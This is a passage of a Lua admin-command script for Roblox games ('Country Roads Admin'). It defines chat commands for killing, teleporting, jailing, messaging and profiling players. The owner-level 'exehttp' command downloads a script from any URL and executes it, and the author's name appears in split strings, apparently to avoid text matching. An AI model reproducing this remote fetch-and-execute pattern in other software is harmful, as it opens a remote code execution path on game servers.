5077 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5078 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5079 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5080 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5081 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5082 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5083 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5084 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5085 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5086
5087 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5088 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5089 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5090 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5091 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5092 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5093 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5094 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5095 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5096 {"_BENCH", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5097 {"_BENCHMARK", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5098 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) end end};
5099 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) end end};
5100 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) end end};
5101 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5102 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5103}
5104
5105---- COMMANDS ----
5106
5107-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5108
5109Commands = { -- can't make local
5110 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5111 print("[Country Roads Admin]: Test message from "..Speaker.Name)
5112 GUI:SendMessage(Speaker, "Test complete", "Country Roads Admin works fine", "Check")
5113 end};
5114
5115 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5116 local Players = STRING:Scan(Arguments[1], Speaker)
5117 for _,Player in pairs(Players) do
5118 if Player.Character then
5119 Player.Character:BreakJoints()
5120 end
5121 end
5122 end};
5123
5124 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5125 local Players = STRING:Scan(Arguments[1], Speaker)
5126 for _,Player in pairs(Players) do
5127 if Player.Character then
5128 Instance.new("ForceField", Player.Character)
5129 end
5130 end
5131 end};
5132
5133 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5134 local Players = STRING:Scan(Arguments[1], Speaker)
5135 for _,Player in pairs(Players) do
5136 if Player.Character then
5137 for _,Get in pairs(Player.Character:GetChildren()) do
5138 if Get:IsA("ForceField") then
5139 Get:Destroy()
5140 end
5141 end
5142 end
5143 end
5144 end};
5145
5146 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5147 for _,Player in pairs(Server.Players:GetPlayers()) do
5148 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
5149 end
5150 end};
5151
5152 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5153 for _,Player in pairs(Server.Players:GetPlayers()) do
5154 GUI:SendMessage(Player, "Take me home, country roads", Arguments[1], 132769569)
5155 end
5156 end};
5157
5158 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5159 local Players = STRING:Scan(Arguments[1], Speaker)
5160 for _,Player in pairs(Players) do
5161 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
5162 end
5163 end};
5164
5165 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5166 for _,Player in pairs(Server.Players:GetPlayers()) do
5167 GUI:SendChat(Player, {Text = "[ Country Roads Admin ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
5168 end
5169 end};
5170
5171 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5172 local Players = STRING:Scan(Arguments[1], Speaker)
5173 for _,Player in pairs(Players) do
5174 GUI:SendChat(Player, {Text = "[ Country Roads Admin ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
5175 end
5176 end};
5177
5178 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5179 local Players = STRING:Scan(Arguments[1], Speaker)
5180 local AgeList = {}
5181 for _,Player in pairs(Players) do
5182 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5183 end
5184 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5185 end};
5186
5187 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5188 local Players = STRING:Scan(Arguments[1], Speaker)
5189 local AgeList = {}
5190 for _,Player in pairs(Players) do
5191 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5192 end
5193 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5194 for _,Player in pairs(SecondPlayers) do
5195 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5196 end
5197 end};
5198
5199 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5200 local Storage = {{}, {}, {}, {}}
5201 local StorageText = {}
5202 local Formatted = {}
5203 for CommandNames,Data in pairs(Commands) do
5204 if not Data.Hidden then
5205 local RankNeeded = RANK:ConvertRank(Data[4])
5206 local Add = ""
5207 if Data[4] == "Non-Admin" then Add = "BLACK " end
5208 if Data[4] == "Admin" then Add = "CYAN " end
5209 if Data[4] == "Member" then Add = "BLUE " end
5210 if Data[4] == "Owner" then Add = "GREEN " end
5211 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5212 local AddBet = Settings.Bet
5213 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5214 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5215 table.insert(Storage[RankNeeded + 1], Add..Text)
5216 StorageText[Text] = CommandNames
5217 end
5218 end
5219 for Num,_ in pairs(Storage) do
5220 table.sort(Storage[Num])
5221 end
5222 for _,Table in pairs(Storage) do
5223 for _,Command in pairs(Table) do
5224 table.insert(Formatted, Command)
5225 end
5226 end
5227 local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5228 Clicked.Event:connect(function(Text)
5229 GUI:ShowCommand(Speaker, StorageText[Text])
5230 end)
5231 end};
5232
5233 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5234 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5235 end};
5236
5237 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5238 if GUI:GetColor(Arguments[1]) then
5239 local ColorScheme = string.upper(Arguments[1])
5240 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5241 Settings.ColorScheme = ColorScheme
5242 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5243 else
5244 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5245 end
5246 end};
5247
5248 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5249 local List = {}
5250 for Color,_ in pairs(Colors) do
5251 table.insert(List, Color.." "..Color)
5252 end
5253 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5254 end};
5255
5256 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5257 local Transparency = tonumber(Arguments[1])
5258 if Transparency then
5259 if Transparency > 90 then Transparency = 90 end
5260 if Transparency < 10 then Transparency = 10 end
5261 Settings.TransparencyScheme = Transparency/100
5262
5263 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5264 else
5265 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5266 end
5267 end};
5268
5269 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5270 if Fonts[Arguments[1]] then
5271 Settings.Font = Arguments[1]
5272 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5273 end
5274 end};
5275
5276 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5277 Settings.Fun = not Settings.Fun
5278 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5279 end};
5280
5281 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5282 Settings.DisableAbuse = not Settings.DisableAbuse
5283 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5284 end};
5285
5286 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5287 local List = {}
5288 for Font,_ in pairs(Fonts) do
5289 if Font == Settings.Font then
5290 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5291 else
5292 table.insert(List, Font.." "..Font)
5293 end
5294 end
5295 GUI:ListGui(Speaker, "Font list", List, 44453197)
5296 end};
5297
5298 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5299 local SoundID = tonumber(Arguments[1])
5300 if SoundID then
5301 Settings.ExecuteNotificationSound = SoundID
5302
5303 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5304 else
5305 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5306 end
5307 end};
5308
5309 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5310 Settings.ExecuteNotificationSound = 0
5311 end};
5312
5313 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5314 local Players = STRING:Scan(Arguments[1], Speaker)
5315 for _,Player in pairs(Players) do
5316 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5317 end
5318 end};
5319
5320 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5321 local Players = STRING:Scan(Arguments[1], Speaker)
5322 for _,Player in pairs(Players) do
5323 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5324 end
5325 end};
5326
5327 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5328 local Players = STRING:Scan(Arguments[1], Speaker)
5329 for _,Player in pairs(Players) do
5330 coroutine.wrap(function()
5331 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5332 wait(1)
5333 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5334 end)()
5335 end
5336 end, Hidden = true};
5337
5338 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5339 local Players = STRING:Scan(Arguments[1], Speaker)
5340 for _,Player in pairs(Players) do
5341 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5342 end
5343 end};
5344
5345 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5346 local Players = STRING:Scan(Arguments[1], Speaker)
5347 for _,Player in pairs(Players) do
5348 CORE:ChangeName(Player, Arguments[2])
5349 end
5350 end};
5351
5352 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5353 local Players = STRING:Scan(Arguments[1], Speaker)
5354 for _,Player in pairs(Players) do
5355 if Player.Character then
5356 local Head = Player.Character:FindFirstChild("Label")
5357 if Head then Head:Destroy() end
5358 local Head = Player.Character:FindFirstChild("Head")
5359 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5360 end
5361 end
5362 end};
5363
5364 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5365 local Players = STRING:Scan(Arguments[1], Speaker)
5366 for _,Player in pairs(Players) do
5367 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5368 end
5369 end};
5370
5371 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5372 local Players = STRING:Scan(Arguments[1], Speaker)
5373 for _,Player in pairs(Players) do
5374 local _,RankNum = RANK:GetRank(Player)
5375 if RankNum <= RANK:ConvertRank(Rank) then
5376 Server.TS:Teleport(Arguments[2], Player)
5377 end
5378 end
5379 end};
5380
5381 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5382 local Players = STRING:Scan(Arguments[1], Speaker)
5383 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5384 if Suc then
5385 for _,Player in pairs(Players) do
5386 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5387 end
5388 else
5389 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5390 end
5391 end};
5392
5393 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5394 local Players = STRING:Scan(Arguments[1], Speaker)
5395 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5396 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5397 if Suc then
5398 for _,Player in pairs(Players) do
5399 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5400 end
5401 else
5402 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5403 end
5404 end)
5405 end};
5406
5407 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5408 local Players = STRING:Scan(Arguments[1], Speaker)
5409 for _,Player in pairs(Players) do
5410 local _,RankNum = RANK:GetRank(Player)
5411 if RankNum < RANK:ConvertRank(Rank) then
5412 Server.TS:Teleport(155307015, Player)
5413 end
5414 end
5415 end};
5416
5417 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5418 local Players = STRING:Scan(Arguments[1], Speaker)
5419 for _,Player in pairs(Players) do
5420 local _,RankNum = RANK:GetRank(Player)
5421 if RankNum < RANK:ConvertRank(Rank) then
5422 Server.TS:Teleport(347911447, Player)
5423 end
5424 end
5425 end};
5426
5427 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5428 local Players = STRING:Scan(Arguments[1], Speaker)
5429 for _,Player in pairs(Players) do
5430 CORE:GenerateShield(Player)
5431 end
5432 end};
5433
5434 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5435 local Players = STRING:Scan(Arguments[1], Speaker)
5436 for _,Player in pairs(Players) do
5437 if Player.Character then
5438 local Shield = Player.Character:FindFirstChild("Shield")
5439 if Shield then Shield:Destroy() end
5440 end
5441 end
5442 end};
5443
5444 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5445 local Num = tonumber(Arguments[1])
5446 if Num and Num ~= 0 then
5447 local Random = math.random(1,math.abs(Num))
5448 if Random == math.random(1,math.abs(Num)) then
5449 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5450 else
5451 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5452 end
5453 else
5454 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5455 end
5456 end};
5457
5458 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5459 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5460 IRC:AddChat(Speaker.Name, Arguments[1])
5461 end};
5462
5463 --[[
5464 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5465 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5466 if Res then
5467 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5468 end
5469 end, Http = true};
5470
5471 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5472 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5473 if Res then
5474 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5475 end
5476 end}, Http = true;
5477 ]]
5478
5479 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5480 IRC:Quit("Reconnecting")
5481 IRC:ConnectToServer(Settings.IRCServer)
5482 end};
5483
5484 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5485 local Players = STRING:Scan(Arguments[1], Speaker)
5486 for _,Player in pairs(Players) do
5487 local PreAdd = {}
5488 for _,Data in pairs(IRC.Chats) do
5489 local Error = nil
5490 if Rank == "Owner" then Error = Data[3] end
5491 table.insert(PreAdd, {Data[1], Data[2], Error})
5492 end
5493 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5494 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5495 if Rank ~= "Owner" then Error = nil end
5496 AddMessage:Invoke(UserName, Message, Error)
5497 end)
5498 SendPressed.Event:connect(function(Text)
5499 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5500 IRC:AddChat(Player.Name, Text)
5501 end)
5502 end
5503 end};
5504
5505 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5506 local Players = STRING:Scan(Arguments[1], Speaker)
5507 for _,Player in pairs(Players) do
5508 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5509 if Type == "Leave" then
5510 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5511 elseif Type == "Join" then
5512 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5513 end
5514 end)
5515 PriChat.Chatted.Event:connect(function(UserName, Message)
5516 AddMessage:Invoke(UserName, Message)
5517 end)
5518 SendPressed.Event:connect(function(Text)
5519 PriChat.Chatted:Fire(Player.Name, Text)
5520 table.insert(PriChat.Chats, {Player.Name, Text})
5521 end)
5522 end
5523 end};
5524
5525 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5526 ExecuteSafe(Arguments[1], Speaker)
5527 end};
5528
5529 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5530 local Script = REMOTE:GetURL(Arguments[1], Player)
5531 if Script then
5532 ExecuteSafe(Script, Speaker)
5533 end
5534 end, Http = true};
5535
5536 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5537 local Time = tick()
5538 local Res = REMOTE:GetURL(Arguments[1], Player)
5539 if Res then
5540 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5541 end
5542 end, Http = true};
5543
5544 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5545 CORE:RemoveAdmin(Speaker)
5546 end};
5547
5548 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5549 for _,Player in pairs(Server.Players:GetPlayers()) do
5550 GUI:SendHint(Player, Arguments[1])
5551 end
5552 end};
5553
5554 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5555 local Players = STRING:Scan(Arguments[1], Speaker)
5556 local Debt = nil
5557 for _,Player in pairs(Players) do
5558 if not Debt then
5559 Debt = GUI:ShowDebtStats(Player)
5560 else
5561 GUI:ShowDebtStats(Player, Debt)
5562 end
5563 end
5564 end, Http = true};
5565
5566 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5567 local Players = STRING:Scan(Arguments[1], Speaker)
5568 for _,Player in pairs(Players) do
5569 GUI:CreateHUD(Player)
5570 end
5571 end};
5572
5573 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5574 local Players = STRING:Scan(Arguments[1], Speaker)
5575 for _,Player in pairs(Players) do
5576 if Player:FindFirstChild("PlayerGui") then
5577 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5578 if HUD then HUD:Destroy() end
5579 end
5580 end
5581 end};
5582
5583 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5584 local Players = STRING:Scan(Arguments[1], Speaker)
5585 GUI:Vote(Speaker, Players, Arguments[2], 30)
5586 end};
5587
5588 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5589 local Players = STRING:Scan(Arguments[1], Speaker)
5590 for _,Player in pairs(Players) do
5591 CORE:ExecuteResource("Bomb", Player.Character)
5592 end
5593 end};
5594
5595 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5596 local Players = STRING:Scan(Arguments[1], Speaker)
5597 for _,Player in pairs(Players) do
5598 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5599 CORE:RestoreCamera(Player)
5600 end
5601 end};
5602
5603 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5604 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5605 CORE:RestoreCamera(Speaker)
5606 end};
5607
5608 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5609 local Players1 = STRING:Scan(Arguments[1], Speaker)
5610 local Players2 = STRING:Scan(Arguments[2], Speaker)
5611 for _,Player1 in pairs(Players1) do
5612 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5613 for _,Player2 in pairs(Players2) do
5614 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5615 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5616 end
5617 end
5618 end
5619 end
5620 end};
5621
5622 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5623 local Players = STRING:Scan(Arguments[1], Speaker)
5624 for _,Player in pairs(Players) do
5625 Player:LoadCharacter()
5626 end
5627 end};
5628
5629 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5630 local Players = STRING:Scan(Arguments[1], Speaker)
5631 for _,Player in pairs(Players) do
5632 CORE:RestoreCamera(Player)
5633 end
5634 end};
5635
5636 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5637 local Players = STRING:Scan(Arguments[1], Speaker)
5638 for _,Player in pairs(Players) do
5639 CORE:Jail(Player)
5640 end
5641 end};
5642
5643 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5644 local Players = STRING:Scan(Arguments[1], Speaker)
5645 for _,Player in pairs(Players) do
5646 CORE:UnJail(Player)
5647 end
5648 end};
5649
5650 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5651 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5652 end};
5653
5654 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5655 SOUND:StopSpeaking()
5656 end};
5657
5658 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5659 local Players = STRING:Scan(Arguments[1], Speaker)
5660 local Compile = {}
5661 for Num,Player in pairs(Players) do
5662 local PlayerRank = RANK:GetRank(Player)
5663 local PlayerInfo = ClientInfo[Player.Name]
5664 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5665 table.insert(Compile, "User ID: "..Player.UserId)
5666 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5667 table.insert(Compile, "Rank: "..PlayerRank)
5668
5669 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5670 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5671 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5672 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
